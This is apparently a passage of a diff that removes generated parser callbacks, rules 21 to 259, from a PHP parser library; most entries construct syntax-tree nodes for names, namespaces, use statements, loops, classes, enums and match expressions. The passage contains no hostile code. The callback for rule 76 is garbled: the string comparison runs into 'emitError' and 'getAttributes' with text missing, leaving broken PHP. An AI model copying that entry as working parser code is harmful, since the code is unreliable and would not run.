- 21 => null, - 22 => null, - 23 => null, - 24 => null, - 25 => null, - 26 => null, - 27 => null, - 28 => null, - 29 => null, - 30 => null, - 31 => null, - 32 => null, - 33 => null, - 34 => null, - 35 => null, - 36 => null, - 37 => null, - 38 => null, - 39 => null, - 40 => null, - 41 => null, - 42 => null, - 43 => null, - 44 => null, - 45 => null, - 46 => null, - 47 => null, - 48 => null, - 49 => null, - 50 => null, - 51 => null, - 52 => null, - 53 => null, - 54 => null, - 55 => null, - 56 => null, - 57 => null, - 58 => null, - 59 => null, - 60 => null, - 61 => null, - 62 => null, - 63 => null, - 64 => null, - 65 => null, - 66 => null, - 67 => null, - 68 => null, - 69 => null, - 70 => null, - 71 => null, - 72 => null, - 73 => null, - 74 => null, - 75 => null, - 76 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; if ($self->semValue === "emitError(new Error('Cannot use "getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]))); - }, - 77 => null, - 78 => null, - 79 => null, - 80 => null, - 81 => null, - 82 => null, - 83 => null, - 84 => null, - 85 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 86 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 87 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 88 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 89 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 90 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 91 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 92 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 93 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 94 => null, - 95 => static function ($self, $stackPos) { - $self->semValue = new Name(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 96 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 97 => static function ($self, $stackPos) { - /* nothing */ - }, - 98 => static function ($self, $stackPos) { - /* nothing */ - }, - 99 => static function ($self, $stackPos) { - /* nothing */ - }, - 100 => static function ($self, $stackPos) { - $self->emitError(new Error('A trailing comma is not allowed here', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]))); - }, - 101 => null, - 102 => null, - 103 => static function ($self, $stackPos) { - $self->semValue = new Node\Attribute($self->semStack[$stackPos-(1-1)], [], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 104 => static function ($self, $stackPos) { - $self->semValue = new Node\Attribute($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 105 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 106 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 107 => static function ($self, $stackPos) { - $self->semValue = new Node\AttributeGroup($self->semStack[$stackPos-(4-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 108 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 109 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 110 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 111 => null, - 112 => null, - 113 => null, - 114 => null, - 115 => static function ($self, $stackPos) { - $self->semValue = new Stmt\HaltCompiler($self->handleHaltCompiler(), $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 116 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Namespace_($self->semStack[$stackPos-(3-2)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('kind', Stmt\Namespace_::KIND_SEMICOLON); - $self->checkNamespace($self->semValue); - }, - 117 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Namespace_($self->semStack[$stackPos-(5-2)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); - $self->checkNamespace($self->semValue); - }, - 118 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Namespace_(null, $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); - $self->checkNamespace($self->semValue); - }, - 119 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Use_($self->semStack[$stackPos-(3-2)], Stmt\Use_::TYPE_NORMAL, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 120 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Use_($self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 121 => null, - 122 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Const_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 123 => static function ($self, $stackPos) { - $self->semValue = Stmt\Use_::TYPE_FUNCTION; - }, - 124 => static function ($self, $stackPos) { - $self->semValue = Stmt\Use_::TYPE_CONSTANT; - }, - 125 => static function ($self, $stackPos) { - $self->semValue = new Stmt\GroupUse($self->semStack[$stackPos-(8-3)], $self->semStack[$stackPos-(8-6)], $self->semStack[$stackPos-(8-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 126 => static function ($self, $stackPos) { - $self->semValue = new Stmt\GroupUse($self->semStack[$stackPos-(7-2)], $self->semStack[$stackPos-(7-5)], Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 127 => null, - 128 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 129 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 130 => null, - 131 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 132 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 133 => null, - 134 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 135 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 136 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(1-1)); - }, - 137 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(3-3)); - }, - 138 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(1-1)], null, Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(1-1)); - }, - 139 => static function ($self, $stackPos) { - $self->semValue = new Node\UseItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], Stmt\Use_::TYPE_UNKNOWN, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->checkUseUse($self->semValue, $stackPos-(3-3)); - }, - 140 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; $self->semValue->type = Stmt\Use_::TYPE_NORMAL; - }, - 141 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; $self->semValue->type = $self->semStack[$stackPos-(2-1)]; - }, - 142 => null, - 143 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 144 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 145 => static function ($self, $stackPos) { - $self->semValue = new Node\Const_($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 146 => null, - 147 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 148 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 149 => static function ($self, $stackPos) { - $self->semValue = new Node\Const_(new Node\Identifier($self->semStack[$stackPos-(3-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos-(3-1)])), $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 150 => static function ($self, $stackPos) { - $self->semValue = new Node\Const_(new Node\Identifier($self->semStack[$stackPos-(3-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos-(3-1)])), $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 151 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(2-2)] !== null) { $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; } $self->semValue = $self->semStack[$stackPos-(2-1)];; - }, - 152 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 153 => static function ($self, $stackPos) { - $nop = $self->maybeCreateZeroLengthNop($self->tokenPos);; - if ($nop !== null) { $self->semStack[$stackPos-(1-1)][] = $nop; } $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 154 => null, - 155 => null, - 156 => null, - 157 => static function ($self, $stackPos) { - throw new Error('__HALT_COMPILER() can only be used from the outermost scope', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 158 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Block($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 159 => static function ($self, $stackPos) { - $self->semValue = new Stmt\If_($self->semStack[$stackPos-(7-3)], ['stmts' => $self->semStack[$stackPos-(7-5)], 'elseifs' => $self->semStack[$stackPos-(7-6)], 'else' => $self->semStack[$stackPos-(7-7)]], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 160 => static function ($self, $stackPos) { - $self->semValue = new Stmt\If_($self->semStack[$stackPos-(10-3)], ['stmts' => $self->semStack[$stackPos-(10-6)], 'elseifs' => $self->semStack[$stackPos-(10-7)], 'else' => $self->semStack[$stackPos-(10-8)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - }, - 161 => static function ($self, $stackPos) { - $self->semValue = new Stmt\While_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 162 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Do_($self->semStack[$stackPos-(7-5)], $self->semStack[$stackPos-(7-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 163 => static function ($self, $stackPos) { - $self->semValue = new Stmt\For_(['init' => $self->semStack[$stackPos-(9-3)], 'cond' => $self->semStack[$stackPos-(9-5)], 'loop' => $self->semStack[$stackPos-(9-7)], 'stmts' => $self->semStack[$stackPos-(9-9)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 164 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Switch_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 165 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Break_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 166 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Continue_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 167 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Return_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 168 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Global_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 169 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Static_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 170 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Echo_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 171 => static function ($self, $stackPos) { - - $self->semValue = new Stmt\InlineHTML($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - $self->semValue->setAttribute('hasLeadingNewline', $self->inlineHtmlHasLeadingNewline($stackPos-(1-1))); - - }, - 172 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Expression($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 173 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Unset_($self->semStack[$stackPos-(5-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 174 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Foreach_($self->semStack[$stackPos-(7-3)], $self->semStack[$stackPos-(7-5)][0], ['keyVar' => null, 'byRef' => $self->semStack[$stackPos-(7-5)][1], 'stmts' => $self->semStack[$stackPos-(7-7)]], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 175 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Foreach_($self->semStack[$stackPos-(9-3)], $self->semStack[$stackPos-(9-7)][0], ['keyVar' => $self->semStack[$stackPos-(9-5)], 'byRef' => $self->semStack[$stackPos-(9-7)][1], 'stmts' => $self->semStack[$stackPos-(9-9)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 176 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Foreach_($self->semStack[$stackPos-(6-3)], new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(6-4)], $self->tokenEndStack[$stackPos-(6-4)])), ['stmts' => $self->semStack[$stackPos-(6-6)]], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); - }, - 177 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Declare_($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 178 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TryCatch($self->semStack[$stackPos-(6-3)], $self->semStack[$stackPos-(6-5)], $self->semStack[$stackPos-(6-6)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); $self->checkTryCatch($self->semValue); - }, - 179 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Goto_($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 180 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Label($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 181 => static function ($self, $stackPos) { - $self->semValue = null; /* means: no statement */ - }, - 182 => null, - 183 => static function ($self, $stackPos) { - $self->semValue = $self->maybeCreateNop($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]); - }, - 184 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(1-1)] instanceof Stmt\Block) { $self->semValue = $self->semStack[$stackPos-(1-1)]->stmts; } else if ($self->semStack[$stackPos-(1-1)] === null) { $self->semValue = []; } else { $self->semValue = [$self->semStack[$stackPos-(1-1)]]; }; - }, - 185 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 186 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 187 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 188 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 189 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Catch_($self->semStack[$stackPos-(8-3)], $self->semStack[$stackPos-(8-4)], $self->semStack[$stackPos-(8-7)], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 190 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 191 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Finally_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 192 => null, - 193 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 194 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 195 => static function ($self, $stackPos) { - $self->semValue = false; - }, - 196 => static function ($self, $stackPos) { - $self->semValue = true; - }, - 197 => static function ($self, $stackPos) { - $self->semValue = false; - }, - 198 => static function ($self, $stackPos) { - $self->semValue = true; - }, - 199 => static function ($self, $stackPos) { - $self->semValue = false; - }, - 200 => static function ($self, $stackPos) { - $self->semValue = true; - }, - 201 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 202 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 203 => null, - 204 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 205 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 206 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Function_($self->semStack[$stackPos-(8-3)], ['byRef' => $self->semStack[$stackPos-(8-2)], 'params' => $self->semStack[$stackPos-(8-5)], 'returnType' => $self->semStack[$stackPos-(8-7)], 'stmts' => $self->semStack[$stackPos-(8-8)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 207 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Function_($self->semStack[$stackPos-(9-4)], ['byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-6)], 'returnType' => $self->semStack[$stackPos-(9-8)], 'stmts' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => $self->semStack[$stackPos-(9-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 208 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Class_($self->semStack[$stackPos-(7-2)], ['type' => $self->semStack[$stackPos-(7-1)], 'extends' => $self->semStack[$stackPos-(7-3)], 'implements' => $self->semStack[$stackPos-(7-4)], 'stmts' => $self->semStack[$stackPos-(7-6)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - $self->checkClass($self->semValue, $stackPos-(7-2)); - }, - 209 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Class_($self->semStack[$stackPos-(8-3)], ['type' => $self->semStack[$stackPos-(8-2)], 'extends' => $self->semStack[$stackPos-(8-4)], 'implements' => $self->semStack[$stackPos-(8-5)], 'stmts' => $self->semStack[$stackPos-(8-7)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - $self->checkClass($self->semValue, $stackPos-(8-3)); - }, - 210 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Interface_($self->semStack[$stackPos-(7-3)], ['extends' => $self->semStack[$stackPos-(7-4)], 'stmts' => $self->semStack[$stackPos-(7-6)], 'attrGroups' => $self->semStack[$stackPos-(7-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - $self->checkInterface($self->semValue, $stackPos-(7-3)); - }, - 211 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Trait_($self->semStack[$stackPos-(6-3)], ['stmts' => $self->semStack[$stackPos-(6-5)], 'attrGroups' => $self->semStack[$stackPos-(6-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); - }, - 212 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Enum_($self->semStack[$stackPos-(8-3)], ['scalarType' => $self->semStack[$stackPos-(8-4)], 'implements' => $self->semStack[$stackPos-(8-5)], 'stmts' => $self->semStack[$stackPos-(8-7)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - $self->checkEnum($self->semValue, $stackPos-(8-3)); - }, - 213 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 214 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 215 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 216 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 217 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 218 => null, - 219 => null, - 220 => static function ($self, $stackPos) { - $self->checkClassModifier($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 221 => static function ($self, $stackPos) { - $self->semValue = Modifiers::ABSTRACT; - }, - 222 => static function ($self, $stackPos) { - $self->semValue = Modifiers::FINAL; - }, - 223 => static function ($self, $stackPos) { - $self->semValue = Modifiers::READONLY; - }, - 224 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 225 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 226 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 227 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 228 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 229 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 230 => null, - 231 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 232 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 233 => null, - 234 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 235 => null, - 236 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 237 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(1-1)] instanceof Stmt\Block) { $self->semValue = $self->semStack[$stackPos-(1-1)]->stmts; } else if ($self->semStack[$stackPos-(1-1)] === null) { $self->semValue = []; } else { $self->semValue = [$self->semStack[$stackPos-(1-1)]]; }; - }, - 238 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 239 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 240 => null, - 241 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 242 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 243 => static function ($self, $stackPos) { - $self->semValue = new Node\DeclareItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 244 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 245 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-3)]; - }, - 246 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 247 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(5-3)]; - }, - 248 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 249 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 250 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Case_($self->semStack[$stackPos-(4-2)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 251 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Case_(null, $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 252 => null, - 253 => null, - 254 => static function ($self, $stackPos) { - $self->semValue = new Expr\Match_($self->semStack[$stackPos-(7-3)], $self->semStack[$stackPos-(7-6)], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos])); - }, - 255 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 256 => null, - 257 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 258 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 259 => static function ($self, $stackPos) { - $self->semValue = new Node\MatchArm($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], 